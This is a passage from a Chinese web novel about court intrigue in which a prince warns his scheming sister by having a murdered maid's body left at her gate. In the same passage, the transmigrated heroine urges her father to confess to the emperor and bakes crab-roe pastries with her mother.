暗蒙面无表情:“你知道刚才这个王爷印盖在了什么地方吗?” “什么?” 暗蒙又深吸一口气,语气间有些伤感的道:“它刚才盖在了王爷和王妃的和离书上了。” “什么?!” …… 沈听晚这边一脸心满意足,她将和离书小心翼翼对折好,然后放在怀里。 她已经决定了,这和离书她要贴身保存着,哪怕是睡觉,她也得压在枕头底下。 君翊见着面前小姑娘一脸欣喜万分,嘴角不禁动了动。 一封和离书,就能让小姑娘这么高兴? “哦对了,我要回一趟将军府,估计下午才能回来了。” 沈听晚又想到,她今天还有件很重要的事儿没办呢,转头看向君翊。 “嗯,让暗蒙跟着你去。” 担心沈听晚多想,又补充一句:“让他保护你。” “不用,不是有冬卉和春婳她们在暗处吗,不会有危险的。” 而且,她自己也会武功,寻常之人可近不了她的身。 更何况,这光天化日,朗朗乾坤的哪会有那么多危险会让她碰上啊。 沈听晚出了门,便见到暗祁站在门外,看到她出来,先是一愣,随即又满脸复杂的看着沈听晚,半句话也说不出。 沈听晚挑了挑眉:“崔姑姑解决了?” 暗祁忙开口:“是,已经解决了,而且长公主那边也穿出消息,近日长公主身子不爽,已经闭门谢客了。” 沈听晚的目光闪了闪。 身子不爽? 呵。 却是算是身子不爽,毕竟像长公主这样的人物,自然是不能顶着满脸大包和脓疮出门来见人啊。 “王妃,崔姑姑毕竟是长公主府的人,若是无缘无故的消失,属下担心长公主会报官。” “报官?”沈听晚冷哼一声,眼中满是冷意与讽刺:“如果长公主不担心她私下与重臣勾结的事暴露出来,大可以去报报看。” 自古后宫女子不得干政。 长公主虽不是皇帝妃嫔,但也是皇宫里出来的女人,如果被皇帝知道,长公主私底下与那些朝廷重臣交好,会是个什么样的结果? 就凭他们这位多疑的皇帝,指不定气的要琢磨着如何把长公主给了结了呢。 暗祁也是一脸恍然:“是啊,长公主如果干政,那可是意图谋反啊!” 这罪名可就大了! 暗祁心里不得不感叹,他们王妃真是把什么事都算在了前面。 既能给长公主一点教训,还能让长公主心里头又气,却无处可撒,心甘情愿地吃下这个暗亏。 “对了王妃,您前段时间让属下找和林泉体貌相似的人,属下已经找到了,您现在要不要见见?” 暗祁又想到了什么,看向沈听晚问道。 “先把人秘密安置在王府吧,先去准备马车,我要去趟将军府,等回来之后再见他。” 人既然已经找到了,那她心里的计划,也可以正式实施了。 沈听晚就不相信,她揪不出那个总是在背地里对君翊下手猕猴真凶! 沈听晚丢下一句话后,便大步朝着么门外走去,现下,还有一件比抓到那幕后凶手更重要的事搁在她心里呢。 不去一趟沈家,她怎么也放心不下。 沈听晚出了门,暗祁便早早安排好马车停放在王府的门口,沈听晚也立马上了马车,吩咐车夫去将军府。 一路上,沈听晚靠在马车上闭目养神。 想到长公主要让朝中大臣弹劾沈将军的那折子,心里面不禁泛起一阵阵的寒意。 她目前还不知道,那长公主身边究竟有多少人在,也不知道,等长公主反应过闷儿来,会不会再叫人把弹劾的折子递到皇帝跟前去。 所以在此之前,将军府必须要提前有所准备才行。 王府里,在沈听晚出了门之后,暗祁便进了房间,将昨晚发生的事一五一十的告诉了君翊。 当然,沈听晚给他下令要杀了崔姑姑的事儿,暗祁也没有隐瞒。 他们这位王妃娘娘啊,那实在是彪悍的很,暗祁说起这事儿的时候,心里头也忐忑,王爷不会因为此事而对王妃生出厌恶之心吧。 果然,君翊听到暗祁的话之后,眼底闪过一丝厌恶之色。 暗祁的心都提到了嗓子眼,然而,听到君翊后面的话,更是觉得,他心里的担忧明显是多余了。 “这一年多来,长公主是闲的发慌啊!” 他躺在床上这段时间,他那皇姐倒也是没闲着。 勾结重臣这样的谋逆之事,既然都能做的出来! 难怪小姑娘刚才那么着急的要回将军府呢,估计就是为得这件事去找沈将军商议的。 随后,君翊又下了新的命令开口。 “去那这具尸体给本王送到长公主府,告诉长公主,她若是再敢把手伸到王妃身上,就别怪本王不顾念血脉亲情。” “这……王爷,尸体送到长公主府,岂不是就告诉了长公主,人是咱们杀的了吗? 而且,王妃娘娘的意思是,让属下把崔姑姑的尸体藏起来。” “本王就是要让她知道,京城里,什么人是她碰不得的。” 君翊自然是知道沈听晚的用心良苦,她是不想要给王府抹了黑,把祸水引到王府。 但君翊也是有自己的考量的。 面对他这个皇姐,君翊是最知道的,如果不给他一点实质性的警告,她不会轻易罢手。 第107章 王爷给长公主的大礼 他现在的身体还没有彻底恢复,难保长公主不会把手再次伸向沈听晚。 所以在他没彻底痊愈之前,给长公主一些警告,还是很有必要的。 暗祁“嗯”了一声答应下来,准备要走,可脚步有不自觉地停顿下来,抬眼又看向君翊。 “王爷……” 见着暗祁欲言又止,君翊眉头皱了皱:“有什么话,说?” 暗祁犹豫一瞬,脸上带着欲言又止:“属下方才进门时,碰见了暗蒙拿着王爷印…… 王爷您真的要和王妃娘娘和离吗?” 暗祁又一脸认真的看向君翊,心里更是忐忑不宁。 他希望是暗蒙看错了,王爷和王妃看上去这么般配的一对,这么能说和离就和离啊。 而且平日里,他们也没见着王爷和王妃之间有过什么不愉快啊。 这么就能闹到和离这一步了呢…… “暗蒙这个大嘴巴!真是该罚。”君翊抬眼看过去,眸中闪过一丝愠怒。 暗祁立马低下头:“是属下多言了。” “这件事你们不用管,是本王与王妃之间的事儿,还有,”君翊抬眼看过去,眼中带着警告:“此时就你们两人知道便罢了,若是再有其他人知道,你们就不用留在王府了。” 君翊的嗓音淡淡而又带着一丝震慑人心的威严之气 暗祁立马开口保证道:“是,属下与暗蒙绝不会告诉第三个人!” “只是王爷,王妃娘娘这么好的人,她救了您的命,而且这段时间尽心尽力操持王府,王妃来的这段时间,王府的那些不良风气都没了,而且连外头的眼线都被王妃清楚的干干净净,而且王妃对王爷您也是无微不至,王爷您再好好想想……” 咱可不能做那种忘恩负义的王爷啊。 君翊一时有些无语。 是他要和离的吗? 他转头目光幽幽地看向暗祁,冷声地道:“滚!” “哎,是!” 出了门的暗祁,又站在门外,抬头望着天,脸上写满无奈又操心。 王府里头好不容易来了女主人,结果,还没高兴几天,王爷就要和人家和离,这上哪去说理啊。 丧气了一会儿,暗祁又认命地朝着王府门口走去,他还得去把崔姑姑的尸体送到长公主府去呢,再晚一会儿,他都怕那崔姑姑被河水冲跑了。 到了河边,暗祁以最快的速度那崔姑姑已经泡的有些浮囊的尸体从河里头捞上来,此时还能看到崔嬷嬷那一张满是惊愕双眼瞪得溜圆的脸,脖颈处的那一剑封喉的口子因为泡在水里的缘故,伤口边缘翻卷起来,看上去像两条肥硕的大白虫子 他一脸嫌弃装进麻袋,往肩膀上一抗,便上了马往长公主府的方向飞奔而去。 暗祁此番也并不低调,就那样将麻袋挂在马背上,从崔嬷嬷脖颈处顺延下来的血混合着河水,滴滴答答的沿着麻袋滴落下来。 因着暗祁是翊王府的侍卫,看守城门的将领虽然察觉到他马背上的东西不对劲,却也不敢拦下,便任由着暗祁连人带马进了城…… 暗祁只有一人,从街头穿过并不会惹来人注意,但是那马上的麻袋渗出的血迹,却时不时有血迹滴落下来。 “这里头装的是什么东西啊,怎么还往外淌血呢?”街头不禁投来疑惑的目光看向暗祁,小声的议论着。 “看这还不小,估计是野猪吧。” 京城里有不少猎狐,专门出城上山打猎,若是捕得一头野猪,那可值钱了,马上要过冬了,这一个冬天可都不用再买肉了呢。 而且还能把吃不完的拿出去卖,还能卖不少银子。 一旁正好路过的猎户只看了一眼,便发现了不对劲:“这可不是什么野猪,野猪那有那么瘦小的,看上去可更像是人。” 人?! 听着猎户的话,在场的众人都不淡定了。 所以呢还在滴着血的麻袋里头装着的是人? 一下子,周遭瞬间有人胃里一阵翻涌,忍不住的干呕起来。 什么人好端端的装在麻袋里头,还被挂在马背上啊。 自然是死人了。 胆小的百姓干呕过后,也立马低着头,快步走远了。 他们可都没见过死人啊,虽然是被装在麻袋里的,那也是晦气的很。 当然也有胆子大的,一路跟着暗祁的马走着,就是想要看看,马上的人,那要那麻袋里的尸体送到哪里去。 暗祁一路不停,直接到往了公主府的大门口才停下。 长公主府门外的侍卫见状也立马警铃大作,满眼警惕地看向暗祁。 “马上何人,还不速速下马!” 暗祁低头看了看马上的麻袋,淡声道:“不用紧张,不是来打架的,只是翊王殿下来给长公主送个礼而已。” 此话一出,周遭的气场也稍微缓和了些,长公主府的侍卫一听到是翊王府的人,也暗自松了口气,但却依旧警备的看着暗祁。 暗祁也不废话,直接抬手一把抓住麻袋,紧接着用力往侍卫的方向一扔。 扑通一声闷响,麻袋正好扔在了侍卫的脚边。 此时,麻袋口的绳子因着一路的颠簸松散,崔姑姑的头瞬间暴露出来,侍卫下意识低头,刚好便看到了崔姑姑那张发白且狰狞的面容。 “崔姑姑!”长公主府的侍卫脸色大变,不自觉的退后一步。 崔姑姑从昨天晚上出门就一直没回来过,想不到,竟然是被人给杀了? “翊王殿下给长公主送的礼,想必长公主殿下会喜欢,另外,王爷说了,长公主的手伸得太长,若再有一次,就莫怪王爷不顾血脉亲情。” 暗祁淡淡的说着,眸中带着笑意,可却叫长公主府的人遍体生寒。 “快……快进去通报!” 翊王的人松开崔姑姑的尸体,这么大的事儿,他们小小的侍卫可做不得主啊。 “行了,礼已经送到,听闻长公主殿下身子不适,那便告辞了,还请将王爷的话如数转达给长公主。” 暗祁见着长公主府的侍卫各个脸色难看,而长公主府门外此时也是人满为患,见着目的打成了,也不再废话,抬手鞭子一扬,策马而去。 独独留下长公主府外的侍卫几人在风中凌乱不知所措。 第108章 玉面阎王又回来了 众人见着这一面,都是忍不住倒吸了一口寒气。 那个玉面阎王,他又回来了! 一年多的时间,君翊从战场负伤回京,便在没有过街头当众抛尸的事儿出现了。 其实,暗祁之所以这样明目张胆,大摇大摆的把尸体扔在长公主府的大门口,是因为从前他就干过。 在王爷没手上之前,他在京城里的名声也是响当当的,当然了,都是不算太好的名声…… 君翊在战场上虽然是杀神,守卫着东陵百姓,但是在京城之中,却没有人敢招惹这个大魔头啊。 当初一次宫宴上,一个大臣在宴上吃醉了酒,当众对君翊出言不逊,出口顶撞,结果第二天一大早,那个大臣的家眷便在门口看到了自家老爷的尸体就赫然然的被丢在家门口。 也别说什么君子犯法与庶民同罪的话,说便是君翊直接扔出来那个人平日里十恶不做的罪证摆出来叫大家看。 那一次,所有人都知道是翊王杀了人,可有人把杀人的罪状递到皇帝面前之后,又换来了什么呢? 翊王直接扔出那人的一系列作奸犯科的罪证,甚至派人印了几百分,洋洋洒洒的丢在街上。 什么强抢民女,逼良为娼,苛捐杂税,贪污赈灾粮,种种罪行通通公之于众,瞬间就叫人哑了火。 开玩笑,堂堂一介亲王,杀一个浑身劣迹斑斑的罪臣,算犯罪吗? 此事,就算是御史台的那帮言官也说不出来什么。 经那一事之后,京城之中再无人敢得罪这位活阎王了。 表面上看上去举止淡然,风姿优雅,所有人都不敢忽视,这位王爷可是战场是领敌人闻风丧胆的嗜血杀神啊。 民间也给君翊起了一个十分贴合的名号,“玉面阎王”。 总之,就是得罪了谁,也不能得罪了这位阎王,保不齐不仅会丢命,而且还会被王爷扒个底朝天,就连小时候踩死过一只蚂蚁这么点的事儿,都能被扒出来,到时候可就是一具臭名昭著的尸体了。 当然,这崔姑姑也不例外,翊王府也不怕长公主府把事儿闹大,即便闹到了大理寺卿,或者说闹到了皇宫里去,君翊也照样有法子能让所有人都闭嘴。 果然,长公主在得知此事之后,也是怒火中烧,臭骂了一顿侍卫办事不力,但要给崔姑姑讨回公道的话,也是只字未提。 此事,长公主自身都要难保了,哪里会想着要给下面的人讨公道的事儿。 只见长公主此时坐在梳妆台前,看着自己满脸脓疮甚至还有血不断地从脓包里流出来,痛的她心尖发颤。 然而在听到侍卫禀报,转达了君翊的那段话之后,长公主的脸色陡然间变了。 她死死的攥紧拳头,任意长长的指甲陷进肉里,目光阴沉的吓人。 “翊王他竟这般护着那个贱人!” 其实,长公主之所以敢对沈听晚下手,也是笃定了沈听晚在君翊心里是没有地位的。 毕竟是刚嫁到王府的,而且还是从前与太子成过一回亲的再嫁女,君翊能对她又什么感情? 可是这一次长公主却失算了,她没料到,君翊竟然是把沈听晚那个贱人放在了心尖上宠的! 同样失算的还有在皇宫之中的皇帝,看事儿是发生在长公主府的,但京城里可到处都是皇帝的眼线,自然是瞒不过他。 “朕的这位好弟弟,竟这么看重沈听晚?” 这一点,倒是连他都没有想到。 其实,当初发生太子那一桩事,皇帝看似是听从太后的建议,但心里还是思量的。 与太子没有完婚的女人送到翊王府,这不是侮辱君翊最好的方式吗? 可是后来发生的一些事儿却远远脱离了皇帝的掌控。 他没来料到沈听晚嫁过去之后,君翊非但没有收到屈辱,反而似乎越来越好了。 这一年多来都不见王府里头传出什么动静,可是今天,君翊竟然为了沈听晚杀人。 皇帝坐在龙椅上,目光幽幽,手上不自觉把玩着帝王绿扳指。 “陛下,王爷此番实在太过胆大包天,竟是当街抛尸,在百姓中也制造了严重的恐慌,微臣请旨陛下严惩翊王。” 台下,御史台张御史进宫,速速便将弹劾的折子送到了皇帝眼前。 皇帝只看了一眼,便冷哼一声,收回视线:“严惩?翊王是为了东陵负伤在床这么多年,你叫朕严惩?” 如何严惩? 是把床上瘫了的君翊拎起来丢到大牢里入狱? 还是说叫人廷杖重打君翊一顿? 怕只怕他的旨意还没等传到翊王府的大门口,他那个好弟弟就已经在家里头等着接招了。 “可是陛下,君子犯法与庶民同罪啊,翊王如此放肆,从此以往若朝廷有功之臣都能群起效仿,那东陵岂不是要大乱啊!” “而且翊王殿下为的一个女人,竟然在天子脚下杀人行凶,此女也定是妖孽祸水,还请陛下一并处置。” 御史台张文光是出了名的最毒,更适合不怕得罪人的主儿。 不过,对于这个场面,皇帝还是很乐意看到的。 因为朝廷上对翊王不满的人越多,则对他越是有利。 这些年,君翊在外战功赫赫,名声都快盖过他这个皇帝了,我不是在战场上负了伤,估计现在,他这个皇帝的位置都要被架空了。 对于张御史的话,皇帝心里听着高兴着呢,不过面上还是微微摇头叹息:“爱卿的意思朕明白,不过翊王毕竟对东陵有功,而且还是朕的弟弟,此事容朕再思量一二吧。” 张文光眉头不禁紧蹙,很显然对皇帝的话有些不赞同,他抬眼,又是直言不讳的道:“陛下,正因为翊王是东陵亲王,还更应该以身作则啊。” “好了,张爱卿,人说了会好好思量的,你先退下吧。” 张文光原本还想再说上几句争取一下,可赵启林是皇帝身边待在时间最久的人,如何看不出来此时皇帝的态度。 在张文光还没等开口说话之前,便走下了台,一脸笑意的看过去。 第109章 进宫请罪 “张大人,陛下毕竟与王爷是手足,而且王爷身上还有重功,此事虽说是王爷办事不妥,可如今王爷重病在床,陛下实在不好下旨惩治的,您就莫要为难陛下了。” “陛下还有折子要看,不如张大人就先请回吧。” 张文光紧蹙眉头,抬眼看着赵公公向他使了使眼色,也知道自己无论再说什么,也不可能会改变皇帝的决定。 怪只怪翊王居功自傲,实在是无法无天,就连陛下也如此袒护着他! 张文光深吸一口气,心里无奈也只能作罢:“微臣告退。” 见着张文光出了御书房,皇帝才将手上的笔往桌案上一丢,冷哼一声:“这个张文光,倒还真敢放肆!” 整个东陵上下,这么和他说话就没几个。 赵启林见着皇帝脸色不善,忙开口:“陛下,张大人也是用心良苦,他是看不惯王爷如此明目张胆的杀人才会如此,还请陛下息怒。” “哼,要不是因为这样,你以为朕刚才能饶了他!”皇帝有轻哼一声。 “不过这事还没完呢,还有的闹。” 就是可惜了,那些弹劾沈将军的折子,怕是再也送不到他的面前了。 皇帝知道,长公主这个妹妹向来是欺软怕硬,表面上看上去像是只母老虎似的,实际上就跟纸糊的一样,一捅就破。 如今君翊的这么一威胁,估计长公主也会被吓得把手收回去了。 哎。 他还想着,等那些折子送到他跟前,他也正好有理由抓住沈家的把柄。 赵启林立马出声附和道:“是啊陛下,那张大人向来是个恪守成规的,估计不会就此作罢。” “嗯,这正是朕想看到的。” 皇帝的目光微微闪了闪。 他之所以没有当即下旨治罪翊王,也是因为这个原因。 想上一次,君翊杀人丢尸,闹的是沸沸扬扬,弹劾君翊的折子都快有半米来高了。 最后又怎么样呢? 还不是让翊王轻而易举的脱身了。 估摸着这一次也会是一样的结果。 既然如此,他又何必再为了此事而大费周章呢? 不过,刚才他也没把话说的太死,表面上看上去像是在维护翊王,实则却是引得朝廷重臣的众怒。 他一个皇帝不能拿君翊怎么样,但是那些言官们的嘴可是够翊王喝上一壶的。 皇帝心里这样想着,既然不能治得了君翊的最,那就把他的名声彻底搞臭。 立一下军功赫赫又如何呢,要有一个好的名声,照样不会被百姓所拥护。 “不过有件事儿倒是让朕很是意外,真是想不到,翊王竟然会为了沈听晚这个女人大发脾气,甚至都不惜得罪长公主。” 皇帝语言轻佻的道,现下他真是不知道把沈听晚嫁过去究竟是好事儿还是坏事儿了。 “那陛下,要不要听张大人的意见,惩治翊王妃?” 皇帝沉思一瞬,又沉声道:“暂时不用,也看他们先斗着吧,翊王的性子朕知道,城府深着呢,也说不定,他这么做是在迷惑朕。” 他现在最感兴趣的,不是长公主也不是翊王,而是沈家。 皇帝想知道,京城之中出了那些悖逆之言,那个被百姓吹破天的沈将军会如何应对呢? “是。” “嗯,你去长公主府带朕安抚一下,你怎么听说长公主身体不适?派太医去看一看。” 长公主虽说不是皇帝一母同胞的亲妹妹,不过毕竟是长公主,于情于理,他这个皇兄也是应该过问一二的。 …… 此时,将军府。 沈听晚还不知道暗祁把崔姑姑的尸体当众丢到了长公主府的大门口,她回到将军府,正撞见准备要出门的沈将军。 “父亲。”沈听晚赶忙走了上午。 正准备要走的沈将军,看到自己的女儿来了, 眼前一亮:“晚晚,你回来了。” “父亲,昨天究竟是怎么一回事,那个人抓到了吗?” 提到昨天那个人,沈将军的眼底就像是冒了火似得。 “人是抓到了,那小子嘴硬的很,什么都不肯说,只承认那些话是法子他内心所想。” 去鬼的内心所想! 他就不信,那小子背后没人。 故意当众说那番话,不就是明摆着要来对付他的吗! 沈听晚见着父亲脸上满是怒色,沉思了一会儿,再抬眼:“父亲,那个人你打算如何处置?” 沈将军脸色沉了下去:“没有确实的证据,他又不肯承认,只能把他送去官府,敢散播悖逆之言,也够他关他几年大狱了。” “父亲,那个人现在还不能送出去,而且不仅不能送出去,现在还要带着她进宫一趟。” “进宫?”沈将军眼底闪过疑惑:“你让父亲进宫做什么?” “请罪。”沈听晚严肃的开口。 “父亲,昨天的事儿在京城传的沸沸扬扬,陛下不可能不知道,我现在都没有旨意传出来,估计陛下也在等着咱们沈家拿出一个态度来。” 我现在沈家不主动站出来请罪,下一步,朝廷一定会对沈家有进一步的动作。 那个人口中说的毕竟牵扯到了沈煜,到时候如果朝中大臣有人因此事再弹劾沈家,可就是沈家理亏了。 沈将军听着自己女儿的话,也瞬间意识到了此事的严重性,随即点头:“晚晚说的对,这件事情的确是父亲思虑不周了,险些酿成大祸。” “我这就带着那个人即刻进宫一趟,去想陛下请罪。” 沈听晚点点头:“嗯,到时候父亲只管认罪,其他的话,你就一概装作不知,只管往长公主身上去引。” “这又是为何?” “父亲还不知道,昨天长公主便私下找了不少大臣,准备在今天一早弹劾父亲呢。”沈听晚沉声开口。 “弹劾我?就因为这件事儿?” 沈听晚点点头:“是。” 这下子,沈煜哪里还不明白,府里头关着的那个人就是长公主的人呢。 “此事说来也怪我,父亲,是我惹了麻烦,害得您也跟着受牵连。” 沈听晚有些愧疚的开口,如果不是她和高宝儿只见有矛盾,也不可能让长公主盯上沈家,你要利用沈家来对付她。 第110章 娘不欢迎我回家嘛 “这事怎么能怪你呢?晚晚,就算是没有你,咱们沈家怕也早已经成为众矢之的了。” 沈煜虽然在打仗上面很有天赋,但是对于朝廷上的那些勾心斗角的纷争却是头疼的很。 如果可以的话,他宁愿一直在战场上为东陵守护百姓,也不愿意待在这京城之中,成为被皇帝无端猜忌的对象。 “这件事父亲会办好的,你不用放在心上,对了,”沈将军欲言又止,上略带着些许犹豫:“王爷……他现在身子如何了?” “父亲放心,王爷现在很好,而且身体恢复的也不错。” 听见自己女儿这样说,沈将军也放了不少的心,随即点点头:“那就好,晚晚,你既然选择了与王爷共进退,往后不管遇到什么事儿,多和王爷商量着来。” “我明白。” 沈将军知道,他的女儿向来是知道分寸的,不用他多叮嘱也知道怎么做,也不再多说。 “好了,难得回来一趟,去看看你母亲吧,她要是见了你,一定很高兴。” “好。” 见着沈将军带着人坐上去皇宫的马车,沈听晚的心这才放下去过半。 那个人就是一个烫手的山芋,必须要把人抓住,但却不能对他怎么着,都不能丢,留不能留。 最好的办法就是把事情闹到明面上来,这样也能少不少麻烦。 最起码,不会有人在想着拿这件事情暗中做什么文章了。 不过,沈听晚并没有打算离开。 她得等着父亲平安无事的,从皇宫里出来才能放心的下。 她进门去又去找了母亲,沈夫人再见到自己的女儿也是欣喜的很。 “晚晚,你怎么回来了!” “娘,我回来看看你呀。”面对沈夫人,沈听晚才算是能真正的放松下来。 她从小到大,我不敢轻易的相信任何人,但是书中沈父沈母对原主的宠爱不能作假,她知道,沈夫人是真心疼爱她这个女儿的。 只不过也正因为如此,沈听晚也有些隐隐的担忧。 她毕竟不是真正的沈听晚,她担心,如果有一天这个秘密被沈父沈母发现,怕是这最后一丝亲情的温暖,会随即烟消云散吧。 所以他现在能做的就是在沈家人面前尽可能的装的像一些,原主的一切言行举止,一切细节她都不能又一点不同。 书里头,原主一见到自己的爹娘和兄长,就是如同一个小姑娘一样,会撒娇,会耍小脾气,所以她现在,必须把自己当做是真正的沈听晚才行。 沈夫人不知道沈听晚心里是如何想的,这是一看到自己的女儿,便欣喜的不行,刚站起身来,赶紧拉住了沈听晚的手:“你这孩子,都已经嫁人了,是往娘家跑像什么样子,免得王爷会生你的气。”沈夫人一脸嗔怪的看向沈听晚,不过虽然这样说着,但还是把沈听晚拉到软软上做好。 “娘啊,王爷不会怪罪我的,更何况我回娘家看一看自己的父亲,母亲,还有兄长,他能说什么?” “那也不行啊,王爷不怪罪是王爷的大度,你现在毕竟是王妃,是往娘家跑,若是被有心人看了去,定会说你的不是。” 她的女儿,沈夫人怎么舍得被人说三道四的。 “我知道了,娘这是不欢迎我回家,那以后我便少回来几趟,省的娘见了我会烦好叭。” 沈听晚故作生气地把头撇到一边去,不再看沈夫人一眼。 “哎,你这个孩子啊,还是和从前一样惯回在娘面前耍小脾气,娘是这个意思吗?”沈夫人也是有些无奈,抬手拍了一下沈听晚的小脑袋瓜,无奈地道。 “嘿嘿,我就知道娘不是不欢迎我回来的嘛。” 沈夫人白了沈听晚一眼:“回来也不提前说一声,我早知道你今天回来,我便去给你做些你爱吃的点心带回去,有段时间没吃过娘做的点心了吧?” 沈听晚一愣,扯了扯嘴角:“是啊,娘,都快一个多月了呢,还真是馋了。” 后来也是可笑,从小到大,沈听晚从来都没有吃过自己母亲做过的一顿饭。 她一直期盼着,自己的母亲能正眼看她一眼,能够给她做一顿饭,她们一家三口能在一张桌子上其乐融融的,像寻常家庭那般吃上一顿饭。 可是从来没有。 这一顿饭,却成为了上辈子沈听晚到死都没有体会过的奢望。 可却没想到,她魂穿到了这里,却体验到了。 沈夫人没发现沈听晚眼底藏着的那一抹异常的神色,笑着开口:“你这个小馋猫,娘这就给你去做,等下多拿一些带回王府,也让王爷尝一尝。” “好。”沈听晚重重的点头:“王爷若是能吃到娘做的点心,身体肯定会大好的!” 沈夫人被气笑了:“怎么,娘做的点心里头有药啊,如果王爷吃了真的能好起来的话,那娘愿意天天给你们做。” “那感情好,这样我每天都能吃到娘做的点心!” 沈夫人见着自己女儿朝着她撒娇的模样,一时之间竟有些哭笑不得:“你这孩子,都多大啦,还在娘面前撒娇,不嫌丢人啊。” “嘻嘻,在娘的面前我永远是小孩啊,多大都不丢人。 ” 沈夫人看着沈听晚,脸上的笑意更深了些:“好,多大都不丢人,娘这就去给你做好吃的去。” “娘。”见着沈夫人要走,沈听晚突然间开口叫住。 沈夫人疑惑的转过头:“怎么了?” “娘教我做点心吧。” 沈夫人一愣,看了沈听晚好一会了才开口:“这倒是奇怪了,从前娘想教你你都不愿意学,觉得厨房味道不好,不愿意去,今儿是怎么了?” 面对自己女儿突然间主动提出要下厨,沈夫人心里面疑惑。 “我这不是不能时时回来嘛,总是想吃娘做的点心,也不能每天都能吃到,如果跟娘学了做点心的法子,以后若是想吃了,可以自己在王府做了呀。” 沈听晚心里头有些发虚的道。 其实也不是她想要学厨艺,上辈子,她在现代身边没有人给她做吃的,沈听晚只能自己琢磨着做。 第111章 她想做沈夫人的女儿 刚开始其实做的并不好吃,甚至可以说是难以下咽。 但也架不住沈听晚天天试着做,日子久了,便学会了做饭,而且味道也比之前好很多。 今天之所以提出想要让沈夫人教她,其实是沈听晚想要和自己母亲能够多待一会。 而且,像这样母亲教女儿做饭这样的事情,沈听晚从来没有体验过。 所以,她也想体会一下母女之间正常的相处到底是一个是那样的感觉。 注意到沈夫人脸上的疑惑,沈听晚又立即改了口:“还是算了,那我在这儿等母亲回来。” 做人嘛,不能太贪心,她现在能够感受到父亲母亲和兄长对她的爱,已经很好了。 沈夫人这才反应过来,嘴角勾起一抹笑:“难得你想学,走,母亲教你。” 只当是自己女儿嫁人,突然之间长大了,从前不愿意下厨的女儿,也想着学会些厨艺回去做给王爷吃,沈夫人也并未多想什么。 原本已经对和沈夫人一起去厨房感觉无望的沈听晚,突然间听见母亲这样说,眼底顿时有了光亮:“好!”立马高兴的应道。 两人一路说笑着走到厨房,在厨房里的沈夫人,仿佛突然间像是变了一个人似的,只见她撩起袖子,将发髻便的碎发往耳后一撩,利落的拿起碗舀了两碗白面。 “母亲今天就教你你最喜欢吃的蟹黄酥怎么样?” 听见这话,沈听晚的眼神有些忽闪,正要开口说什么,抬头却看见沈夫人脸上的一抹期待之色,最后还是笑着应下:“好啊。” 见着沈听晚答应,沈夫人脸上的笑意更深了些:“这蟹黄酥啊,最主要的就是蟹黄,正好昨日下人买回来了些,还想着你不在,怕你吃不到呢。” 沈夫人自顾自的说着:“来,母亲先教你和面。” 沈听晚走上前去,在沈夫人的旁边,静静地看着。 和面是有讲究的,加多少水,是温水还是凉水,还有要舀多少碗的面,沈夫人都事无巨细地说给了沈听晚来听。 沈听晚站在那儿,要真像是有几分潜心学习厨艺的,沈夫人说什么,她便照做,开始装左边笨拙的和面。 时而水加多了些,盆子里的面黏在手上,然后再加面,又把面加多了…… 周而复始的两三次,见着沈夫人脸上既是无奈又是笑意,沈听晚不好意思的扯了扯嘴角:“母亲,我是不是……太笨了啊?” 沈夫人笑着安慰:“我的女儿一点都不笨! 你这是第一次,已经很好了,慢慢来,熟能生巧。” 沈听晚站在桌案前,看着眼前被自己糟蹋的面粉,心下也是无奈。 哎。 她现在真是有些后悔了。 后悔进厨房让沈夫人叫她做饭。 不是因为沈听晚学不会,恰恰是因为她太会了,但却只能装作不会又笨拙的模样,这才是最难的。 见着沈听晚脸色的挫败,沈夫人也以为是自己女儿和不好面团心里头沮丧,便上前笑着安慰:“别着急,来,母亲再教你。” 接下来的一段时间里,沈夫人也是手把手亲自教着沈听晚和面,沈听晚认真的学,估摸着觉得时候差不多了,才渐渐开始展露手脚。 刚开始还在笨拙的和面,接下来一点点渐渐熟悉起来,然后到最后,沈听晚成功的和出了一个光滑圆润的面团来。 只不过这面团儿看上去却有些……大了。 看着那面团,足足够十来个人的量,沈听晚心下暗暗叹了口气。 她已经是尽最大的努力了,既不浪费食物,也不让沈夫人起疑心。 正在处理蟹黄的沈夫人,抬头原本想看看自己女儿的面团和的怎么样了,只是一抬头便看到沈听晚已经把面团和好了,眼底顿时闪过一丝意外之色。 “这么快就把面和好了?看来晚晚很有下厨的天赋啊。” 沈夫人心里暗暗吃惊,要知道,她小时候和自己母亲学习和面,这是用了不少时间呢,三五天的时间总得有了,可是自己女儿,却用了短短不到一个时辰就学会了。 如果不是从小看着自己女儿长大的,知道女儿的德行,沈夫人都怀疑沈听晚是不是早就学会了下厨。 “这面好像有点多了……”沈听晚不好意思的抬手挠了挠头,小声的道。 沈夫人抬眼,便看到自己女儿那张白皙的小脸,现在就像是小花猫似的,抹的带出都是白霜,忍不住被逗笑了。 “没事儿,做多一些正好,等一下你带回去些,给王府里的人也分一些。” “好吧。”沈听晚点点头应道。 接下来,沈听晚担心怕在做多会引得沈夫人怀疑,便只站在一旁,静静的听着沈夫人叫她做蟹黄酥。 沈夫人也怕自己女儿累着,不让沈听晚插手,自己一边忙活着手上的面,一边耐心的说给沈听晚来听。 母女两人在厨房里,画面十分和谐融洽。 沈听晚也是第一次感受到这样温馨的画面。 突然间心里有些惆怅,上辈子,她究竟是托生到了什么样的家庭里啊! 这才是正常母女相处的模式啊。 想想前世,她的母亲在她一出生下来就把她丢给冰冷的机器人儿,她从未感受过母爱的温暖,那个爹就更不用说了,活脱脱的就是一个实验狂人。 有一次,甚至差点把刚研制出的试验品用在她这个亲生女儿的身上,险些叫她小小年纪就丧了命。 沈听晚不禁感叹,上辈子她能活那么大,真是全依靠着运气活着啊。 沈听晚找了一个安静不碍事的角落站好,眼神定定地看着忙碌着的沈夫人,双眼一酸。 这才是她想要的,如果可以,她真的希望自己是沈夫人的亲生女儿,从小在一个充满爱的家庭里长大。 她想,如果这样的话,她长大之后的人生,一定不会是像上一世那样。 她不会成为那个手上沾满鲜血,令人闻风丧胆的暗夜杀神。 心暖是真的,但沈听晚却不能表现的太明显。 她吸了吸鼻子,上前拉住沈夫人的胳膊。 沈夫人动作一顿,转头看向女儿:“怎么了?” “母亲,你的袖子都掉下来了,我帮你挽起来。” 第112章 她对蟹类过敏 沈夫人顺着沈听晚的眼神看过去,不禁笑了笑:“还真没注意。” 抬手把胳膊递到沈听晚面前,沈听晚也顺势认认真真的帮沈夫人把耷拉下来的袖子一点点挽了上去,努力压低了头,掩饰住眼底的湿润之色。 